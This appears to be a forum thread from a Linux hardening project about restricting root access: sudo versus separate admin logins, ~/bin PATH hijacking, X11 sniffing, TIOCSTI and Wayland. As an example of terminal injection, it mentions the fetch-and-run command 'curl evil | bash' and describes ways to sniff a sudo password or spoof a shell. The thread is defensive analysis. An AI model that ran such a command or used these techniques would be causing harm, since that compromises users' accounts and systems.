Might also be caused by apt seccomp (since the postinst runs as root so su should be permitted). Need to try to reproduce on Debian without security-misc package with and without apt seccomp.
Even if you log in from virtual console and run
user@host:~$ /usr/bin/sudo
how do you know you are talking to bash? If you donât trust user you donât trust user.
~/bin/sudo isnât part of $PATH by default so it wonât be executed by just running sudo.
Also, the chosen method was to login as the âadminâ user, not the âuserâ user and as nothing except certain administrative activities would be run as the âadminâ user, itâs unlikely there would be any malicious binary in ~/bin.
The login shell doesnât use PATH to select what shell to use, it uses the explicit file path and the default shell is /bin/bash. See inside /etc/passwd.
You can find what youâre running anyway by running realpath $0.
If for whatever reason things like ~/bin/ would be a problem, you can just trim down $PATH to only contain the required directories or you can create a script that runs which command and checks if itâs the correct file path.
As per Debian default it kinda is: as soon as folder ~/bin exists and new shell opened (or after reboot?) it will be in PATH by default. Tested. I am using it and never changed PATH.
That was just an example. It still sources ~/.bashrc which could do whatever it wants. Or user might âdebugâ you. Or read/write /dev/tty$x. After that there is no reason to trust anything on that tty without SAK.
Yes I agree but thereâs no mention of that in this thread.
The chosen method in this thread seems to be disable login as root, and force sudo instead. So now people login as user and run sudo instead of logging in as a separate user (root/admin).
Itâs discussed here Safely Use Root Commands
as an Advanced option, and in the context of X.
X is an issue if a program not running as user can access it and sniff events. (Such a program could still try to inject âcurl evil | bashâ into a terminal though.)
So yes, a virtual console couldnât hurt but itâs not a complete solution.
Edit: I just wanted to point out that the focus on X may give people the impression itâs okay to sudo from another console, which is what the non-advanced option is now. Done pointing now.
This is a different issue.
This forum thread ârestrict root accessâ can be considered done. It does everything as described on page Strong Linux User Account Isolation.
But even then, Safely Use Root Commands remains valid. A user user used for the majority of daily tasks such as browsing the internet cannot be at the same time be an ideal user to run applications with root rights using sudo. That is because one user user is compromised, the sudo password can be sniffed. That is why boot modes without sudo/root access are being planned:
Ok profile can be taken out.
Ok ptrace and process_vm_readv are out.
TIOCSTI is out but once âuserâ is logged into tty1, âuserâ owns it and can emulate a shell after SIGSTOPing the real one.
I think we can agree Xorg sniffing is only a symptom of not trusting your own account. That is all I mean. But yes, itâs a big one.
Edit: I see, I did find in page, not find in javascript, so it didnât show up. Sorry.
Right, the issue is isolation of processes by the same user, and Wayland removes the X-factor. But any malware must remain sandboxed to have secure password entry. Or does Wayland have some sort of sudo built in so it doesnât have to be run by âuserâ?
wayland will sort the need to login using a virtual console.
User can switch to another user account admin using wayland. Can use a graphical session and donât need to use a different virtual console.
Hopefully. This can be researched when wayland XFCE is done.
I would hope wayland comes with a secure implementation of secure attention key, user account switching and user user not being able to sniff user admin.